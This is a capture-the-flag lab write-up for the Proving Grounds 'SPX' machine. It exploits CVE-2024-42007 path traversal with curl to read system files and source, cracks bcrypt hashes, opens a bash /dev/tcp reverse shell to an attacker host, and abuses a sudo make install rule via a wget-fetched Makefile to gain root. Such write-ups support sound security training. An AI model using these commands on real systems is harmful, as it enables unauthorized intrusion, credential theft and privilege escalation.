Skip to content

SPX Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

SPX runs Tiny File Manager behind a debug phpinfo.php page that leaks the SPX profiler’s secret key, enough to exploit CVE-2024-42007, an authenticated directory traversal in the PHP SPX profiler, and read the application’s source for its password hashes. Cracking one and reusing it for a system account, then abusing a sudo make install rule, gives root.

Reconnaissance

Nmap

Scan the target.

┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sCV $TARGET_IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6
80/tcp open  http    Apache httpd 2.4.52 (Tiny File Manager)
Explain command
-Pn Skip host discovery and assume the host is up.
-sCV Run the default scripts and probe service versions.

Tiny File Manager is running on port 80, and its default credentials do not work. Brute force directories for anything else exposed.

Directory discovery

Brute force directories.

┌──(kali㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://$TARGET_IP/FUZZ -t 100
index.php      [Status: 200]
phpinfo.php    [Status: 200]
Explain command
-w Wordlist to fuzz with.

phpinfo.php was left exposed. Its output shows the SPX PHP profiler is enabled, along with its HTTP secret key.

spx.http_enabled = 1
spx.http_ip_whitelist = *
spx.http_key = a2a90ca2f9f0ea04d267b16fb8e63800
spx.http_ui_assets_dir = /usr/share/misc/php-spx/assets/web-ui

Exploitation

SPX directory traversal (CVE-2024-42007)

SPX 0.4.15 is vulnerable to CVE-2024-42007, an authenticated path traversal in the SPX_UI_URI parameter. With the key already known, read arbitrary files through any script that loads the profiler.

┌──(kali㉿kali)-[~]
└─$ curl 'http://$TARGET_IP/phpinfo.php?SPX_KEY=a2a90ca2f9f0ea04d267b16fb8e63800&SPX_UI_URI=/../../../../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
<snip>
profiler:x:1001:1001::/home/profiler:/bin/bash

A profiler user exists. Pull the Tiny File Manager source through the same traversal.

┌──(kali㉿kali)-[~]
└─$ curl 'http://$TARGET_IP/phpinfo.php?SPX_KEY=a2a90ca2f9f0ea04d267b16fb8e63800&SPX_UI_URI=/../../../../../../../../var/www/html/index.php'
$auth_users = array(
    'admin' => '$2y$10$7LaMUa8an8NrvnQsj5xZ3eDdOejgLyXE8IIvsC.hFy1dg7rPb9cqG',
    'user'  => '$2y$10$x8PS6i0Sji2Pglyz7SLFruYFpAsz9XAYsdiPyfse6QDkB/QsdShxi'
);

Two bcrypt hashes. Crack them offline.

┌──(kali㉿kali)-[~]
└─$ hashcat -m 3200 -a 0 hashes rockyou.txt
admin:$PROFILER_PASSWORD

Log in to Tiny File Manager with the cracked credentials and spawn a reverse shell from its file editor.

┌──(kali㉿kali)-[~]
└─$ nc -nlvp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ echo "bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1" > rev.sh
┌──(kali㉿kali)-[~]
└─$ bash rev.sh
www-data@spx:/tmp$ python3 -c 'import pty;pty.spawn("/bin/bash");'

Shell as www-data. The profiler account seen in /etc/passwd also exists in Tiny File Manager, so the cracked password is worth reusing there too.

┌──(kali㉿kali)-[~]
└─$ su profiler
Password: $PROFILER_PASSWORD
profiler@spx:/tmp$ id
uid=1001(profiler) gid=1001(profiler) groups=1001(profiler)

The password is reused across both accounts, giving a shell as profiler and local.txt.

Privilege Escalation

sudo make install (GTFOBins)

Check sudo rights.

┌──(kali㉿kali)-[~]
└─$ sudo -l
[sudo] password for profiler: $PROFILER_PASSWORD

User profiler may run the following commands on spx:
    (ALL) /usr/bin/make install -C /home/profiler/php-spx

profiler can run make install as root against a writable project directory. Replace its Makefile with one that sets the SUID bit on /bin/bash.

install:
	sudo chmod +s /bin/bash

.PHONY: install
┌──(kali㉿kali)-[~]
└─$ rm /home/profiler/php-spx/Makefile
┌──(kali㉿kali)-[~]
└─$ wget http://$ATTACKER_IP/Makefile -O /home/profiler/php-spx/Makefile
┌──(kali㉿kali)-[~]
└─$ sudo make install -C /home/profiler/php-spx
make: Entering directory '/home/profiler/php-spx'
sudo chmod +s /bin/bash
make: Leaving directory '/home/profiler/php-spx'

Confirm the SUID bit landed, then spawn a privileged shell.

┌──(kali㉿kali)-[~]
└─$ ls -l /bin/bash
┌──(kali㉿kali)-[~]
└─$ /bin/bash -p
-rwsr-sr-x 1 root root 1396520 /bin/bash
bash-5.1# id
uid=1001(profiler) gid=1001(profiler) euid=0(root) egid=0(root) groups=0(root),1001(profiler)
Explain command
-p Tell bash to preserve the effective UID granted by the SUID bit instead of dropping it.

The SUID bash binary gives a root shell.

References